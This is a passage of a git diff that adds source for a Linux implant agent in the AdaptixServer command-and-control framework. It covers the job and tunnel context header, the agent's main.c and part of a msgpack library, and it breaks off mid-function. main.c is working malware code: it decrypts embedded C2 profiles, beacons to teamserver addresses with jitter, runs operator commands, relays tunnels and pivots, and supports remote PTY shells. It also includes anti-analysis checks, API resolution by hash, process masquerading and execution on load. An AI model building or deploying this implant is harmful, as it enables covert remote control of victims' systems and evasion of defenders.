*/ +#define TUNNEL_HARD_CAP (16 * 1024 * 1024) /* 16 MB: kill channel */ +#define TUNNEL_CONNECT_TIMEOUT 30 /* seconds */ + +typedef struct { + int channel_id; + int active; + int paused; /* teamserver told us to stop reading from target */ + int client_fd; /* socket to target (non-blocking) */ + int state; /* TUNNEL_STATE_* */ + uint8_t *write_buf; /* data from teamserver → target socket */ + uint32_t write_len; + uint32_t write_cap; + int agent_paused; /* we sent PAUSE to teamserver (backpressure) */ + uint32_t connect_start; /* monotonic timestamp for connect timeout */ +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; /* connection to C2 */ + int pty_master; /* PTY master fd */ + int child_pid; /* shell process pid */ +} terminal_entry_t; + +/// Upload staging (synchronous -- data received in command loop) +typedef struct { + char task_id[64]; + uint8_t *data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context -- shared state needed by async threads +typedef struct { + /* Agent identity (for init packs) */ + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; /* profile encryption key */ + uint8_t session_key[16]; /* session key (SKey) */ + + /* Connection info for spawning new connections */ + char address[256]; /* current C2 address */ + int banner_size; /* banner to discard on new connections */ + + /* Job tracking */ + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + /* Tunnel tracking */ + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + /* Terminal tracking */ + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + /* Upload staging */ + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t *ctx); + +/// Update connection info when profile/address changes +void jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type); + +/// Open a new C2 connection for an async job +int jobs_open_connection(job_context_t *ctx, connector_t *conn); + +/// Find a free job slot (returns index or -1) +int jobs_alloc(job_context_t *ctx); + +/// Find job by ID (returns index or -1) +int jobs_find(job_context_t *ctx, const char *job_id); + +/// Remove job by index +void jobs_remove(job_context_t *ctx, int idx); + +/// Find tunnel by channel_id +int tunnels_find(job_context_t *ctx, int channel_id); + +/// Find terminal by term_id +int terminals_find(job_context_t *ctx, int term_id); + +/// Build and send a job message on a separate connection +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len); + +/// Build and send the init pack for an async job +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len); + +/// Create a detached thread running fn(arg). Returns 0 on success. +/// Uses pthread in SO mode, clone()+mmap stack in static mode. +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg); + +/// Mutex operations (pthread in SO mode, spinlock in static mode) +void jobs_mutex_init(pthread_mutex_t *m); +void jobs_mutex_lock(pthread_mutex_t *m); +void jobs_mutex_unlock(pthread_mutex_t *m); + +/// Global job context (set in main.c) +extern job_context_t g_job_ctx; + +#endif /* JOBS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c new file mode 100644 index 000000000..4fa8f59f6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/main.c @@ -0,0 +1,600 @@ +#include "types.h" +#include "crt.h" +#include "msgpack.h" +#include "crypt.h" +#include "connector.h" +#include "agent_info.h" +#include "commander.h" +#include "jobs.h" +#include "pivot.h" +#include "proxyfire.h" +#include "elf_resolve.h" +#include "opsec.h" +#include "config.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// Global state +static int ACTIVE = 1; + +/// Stored argv for process masquerading (set by entry point) +char **g_argv = NULL; + +/// Decode an encrypted profile blob +/// Input: [key 16B][AES-128-GCM encrypted msgpack(Profile)] +typedef struct { + uint32_t type; + uint32_t listener_watermark; + char** addresses; + uint32_t addr_count; + int banner_size; + int conn_timeout; + int conn_count; + int use_ssl; + uint8_t enc_key[16]; + uint16_t bind_port; +} profile_t; + +static int decode_profile(const uint8_t* enc_data, uint32_t enc_size, profile_t* prof) { + if (enc_size < 16 + GCM_NONCE_SIZE + GCM_TAG_SIZE) return -1; + + // Extract key (first 16 bytes) + ax_memcpy(prof->enc_key, enc_data, 16); + + // Decrypt the rest + size_t pt_len; + uint8_t* plaintext = aes128_gcm_decrypt(enc_data + 16, enc_size - 16, prof->enc_key, &pt_len); + if (!plaintext) return -1; + + // Parse msgpack Profile struct + mp_reader_t r; + mp_reader_init(&r, plaintext, pt_len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + ax_free(plaintext); + return -1; + } + + // Initialize defaults + prof->type = 0; + prof->listener_watermark = 0; + prof->addresses = (char**)0; + prof->addr_count = 0; + prof->banner_size = 0; + prof->conn_timeout = 10; + prof->conn_count = 1000000000; + prof->use_ssl = 0; + prof->bind_port = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->type = (uint32_t)v; + } else if (klen == 18 && ax_memcmp(key, "listener_watermark", 18) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->listener_watermark = (uint32_t)v; + } else if (klen == 9 && ax_memcmp(key, "addresses", 9) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) == 0) { + prof->addresses = (char**)ax_malloc(arr_count * sizeof(char*)); + prof->addr_count = arr_count; + for (uint32_t j = 0; j < arr_count; j++) { + const char* addr; uint32_t alen; + mp_read_str(&r, &addr, &alen); + prof->addresses[j] = (char*)ax_malloc(alen + 1); + ax_memcpy(prof->addresses[j], addr, alen); + prof->addresses[j][alen] = '\0'; + } + } + } else if (klen == 11 && ax_memcmp(key, "banner_size", 11) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->banner_size = (int)v; + } else if (klen == 12 && ax_memcmp(key, "conn_timeout", 12) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_timeout = (int)v; + } else if (klen == 10 && ax_memcmp(key, "conn_count", 10) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->conn_count = (int)v; + } else if (klen == 7 && ax_memcmp(key, "use_ssl", 7) == 0) { + bool v; mp_read_bool(&r, &v); prof->use_ssl = v ? 1 : 0; + } else if (klen == 9 && ax_memcmp(key, "bind_port", 9) == 0) { + uint64_t v; mp_read_uint(&r, &v); prof->bind_port = (uint16_t)v; + } else { + mp_skip(&r); + } + } + + ax_free(plaintext); + return 0; +} + +static void free_profile(profile_t* prof) { + if (prof->addresses) { + for (uint32_t i = 0; i < prof->addr_count; i++) { + if (prof->addresses[i]) + ax_free(prof->addresses[i]); + } + ax_free(prof->addresses); + } +} + +/// Build the init message: [4B listener_watermark BE][encrypted(StartMsg{type:INIT_PACK, data:InitPack{id, type, data:sessionInfo}})] +/// The 4B watermark prefix enables pivot routing — parent extracts it and sends to teamserver +/// Encrypted portion uses profile key (AES-128-GCM) +static int build_init_msg(uint32_t agent_id, uint32_t profile_type, + uint32_t listener_watermark, + const uint8_t* session_info, size_t si_len, + const uint8_t* enc_key, + uint8_t** out_msg, size_t* out_len) { + // Inner: InitPack — declaration order: Id, Type, Data → tags: id, type, data + mp_writer_t inner; + mp_writer_init(&inner, 256); + mp_write_map(&inner, 3); + mp_write_kv_uint(&inner, "id", agent_id); + mp_write_kv_uint(&inner, "type", profile_type); + mp_write_kv_bin(&inner, "data", session_info, (uint32_t)si_len); + + // Outer: StartMsg — declaration order: Type, Data → tags: id, data + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + // Prepend 4-byte listener watermark (big-endian) for pivot routing + size_t total_len = 4 + enc_len; + uint8_t* msg = (uint8_t*)ax_malloc(total_len); + if (!msg) { ax_free(encrypted); return -1; } + + msg[0] = (uint8_t)(listener_watermark >> 24); + msg[1] = (uint8_t)(listener_watermark >> 16); + msg[2] = (uint8_t)(listener_watermark >> 8); + msg[3] = (uint8_t)(listener_watermark); + ax_memcpy(msg + 4, encrypted, enc_len); + ax_free(encrypted); + + *out_msg = msg; + *out_len = total_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Entry points ---- + +static int agent_main(void); + +#ifdef BUILD_SO +// Linux passes argc, argv, envp to constructors (GCC extension) +__attribute__((constructor)) +static void so_entry(int argc, char **argv, char **envp) { + (void)argc; (void)envp; + g_argv = argv; + agent_main(); +} +#else +// Static ELF: _start receives the stack directly from the kernel. +// On Linux x86_64/ARM64, stack layout at _start: +// [rsp/sp] = argc +// [rsp+8] = argv[0] +// [rsp+16] = argv[1] +// ... +// +// CRITICAL: _start MUST be naked. Without naked, gcc generates a +// function prologue (push rbp; mov rbp,rsp) that shifts RSP before +// we can read it, corrupting g_argv → segfault in masquerade/migrate. + +// Helper called from the naked ASM trampoline with the original SP value. +__attribute__((noreturn, noinline, used)) +static void _start_c(unsigned long *stack) { + g_argv = (char **)(stack + 1); // argv starts after argc + int ret = agent_main(); + sys_exit_group(ret); + __builtin_unreachable(); +} + +__attribute__((naked, noreturn)) +void _start(void) { +#ifdef ARCH_X86_64 + __asm__ volatile ( + "mov %%rsp, %%rdi\n" // rdi = original SP (argc at [rsp]) + "and $-16, %%rsp\n" // 16-byte align stack (ABI) + "call _start_c\n" + ::: "memory" + ); +#elif defined(ARCH_AARCH64) + __asm__ volatile ( + "mov x0, sp\n" // x0 = original SP (argc at [sp]) + "and sp, x0, #-16\n" // 16-byte align stack (ABI) + "bl _start_c\n" + ::: "memory" + ); +#endif +} +#endif + +/// Command loop — shared between client TCP and bind TCP modes. +/// Handles recv/process/send cycle with non-blocking polling. +/// Returns 0 if ACTIVE was set to 0 (exit), -1 on connection error. +static int command_loop(connector_t* conn, const uint8_t* session_key) { + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + // Poll C2 socket with 100ms timeout + int poll_ret = conn_recv_msg_timeout(conn, &recv_data, &recv_len, 100); + if (poll_ret < 0) return -1; // error/disconnect → reconnect + + // Build response objects collector + mp_writer_t obj_collector; + mp_writer_init(&obj_collector, 1024); + uint32_t resp_count = 0; + + // If we received data from teamserver, process it + uint8_t* plaintext = (uint8_t*)0; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (poll_ret == 0 && recv_data && recv_len > 0) { + // Decrypt with session key + size_t plain_len; + plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data); + recv_data = (uint8_t*)0; + if (!plaintext) return -1; + + // Parse Message + int8_t msg_type = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext); + return -1; + } + + if (msg_type == 1 && obj_count > 0) { + for (uint32_t i = 0; i < obj_count; i++) { + uint32_t code = 0, cmd_id = 0; + const uint8_t* cmd_data = (const uint8_t*)0; + uint32_t cmd_data_len = 0; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&obj_collector, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + resp_count++; + } + } + } else if (poll_ret == 0 && recv_len == 0) { + // Received empty heartbeat from teamserver (len=0 msg) + ax_free(recv_data); + recv_data = (uint8_t*)0; + } + // poll_ret == 1: timeout, no data from teamserver + + // ALWAYS poll active pivots and tunnels + resp_count += (uint32_t)process_pivots(&g_pivot_ctx, &obj_collector); + resp_count += (uint32_t)process_tunnels(&obj_collector); + + // Send response if we have data OR if we received a message from teamserver + int must_respond = (poll_ret == 0); + if (resp_count > 0 || must_respond) { + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (resp_count > 0) { + mp_write_kv_int(&msg_writer, "type", 1); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, resp_count); + buf_append(&msg_writer.buf, obj_collector.buf.data, obj_collector.buf.len); + } else { + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + mp_writer_free(&msg_writer); + + if (encrypted) { + if (conn_send_msg(conn, encrypted, enc_len) != 0) { + ax_free(encrypted); + mp_writer_free(&obj_collector); + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + return -1; + } + ax_free(encrypted); + } + } + mp_writer_free(&obj_collector); + + // Cleanup + if (objects) ax_free((void*)objects); + if (obj_sizes) ax_free(obj_sizes); + if (plaintext) ax_free(plaintext); + if (recv_data) ax_free(recv_data); + } + return 0; +} + +static int agent_main(void) { + // OPSEC checks — abort if hostile environment detected +#ifdef OPSEC_ENABLED + if (opsec_check() != 0) return 1; +#endif + + // ELF resolver — resolve libc APIs by hash (SO mode only) +#ifdef BUILD_SO + if (elf_resolver_init() != 0) return 1; +#endif + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + +#if PROFILE_COUNT > 0 + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + profile_count++; + } + } +#endif + + if (profile_count == 0) return 1; + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + if (create_session_info(&si_writer, session_key) != 0) return 1; + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations (stubs for Phase 1) + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Initialize pivot context for TCP relay + pivots_init(&g_pivot_ctx); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { ax_free(session_info_data); return 1; } + + if (prof->bind_port > 0) { + // ======== BIND TCP MODE ======== + // Agent listens on a port, parent connects to us. + // Used for pivot: beacon parent → "link tcp " → this agent. + connector_t server; + if (conn_bind_listen(&server, prof->bind_port) != 0) { + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + return 1; + } + + // Accept loop — re-accept if connection drops + while (ACTIVE) { + connector_t conn; + if (conn_accept(&conn, &server) != 0) continue; + + // Send init message (watermark + encrypted beat) + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with client TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + + conn_close(&server); + } else { + // ======== CLIENT TCP MODE ======== + // Agent connects out to teamserver addresses. + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + // Bidirectional jitter: ±20% of conn_timeout + unsigned int base_sleep = (unsigned int)prof->conn_timeout; + if (base_sleep > 2) { + uint8_t rnd[4]; + ax_random_bytes(rnd, 4); + uint32_t rval = ((uint32_t)rnd[0] << 24) | ((uint32_t)rnd[1] << 16) | + ((uint32_t)rnd[2] << 8) | rnd[3]; + unsigned int jitter_range = (base_sleep * 40) / 100; + unsigned int delta = rval % (jitter_range + 1); + unsigned int half = jitter_range / 2; + if (base_sleep > half) + base_sleep = base_sleep - half + delta; + } + sys_sleep(base_sleep); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg); + build_init_msg(agent_id, prof->type, + prof->listener_watermark, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) continue; + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + conn_close(&conn); + continue; + } + } + + // Send init + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + conn_close(&conn); + continue; + } + + // Enter command loop (shared with bind TCP mode) + command_loop(&conn, session_key); + + conn_close(&conn); + } + } + + // Cleanup + ax_free(init_msg); + ax_free(session_info_data); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c new file mode 100644 index 000000000..7dea1e589 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c @@ -0,0 +1,512 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + buf_init(&w->buf, (int)cap); + return 0; +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + buf_append(&w->buf, &b, 1); + return 0; +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + buf_append(&w->buf, data, (int)len); + return 0; +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b <= 0x7F) { + *val = b; + return 0; + } + const uint8_t* p; + switch (b) { + case 0xCC: + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 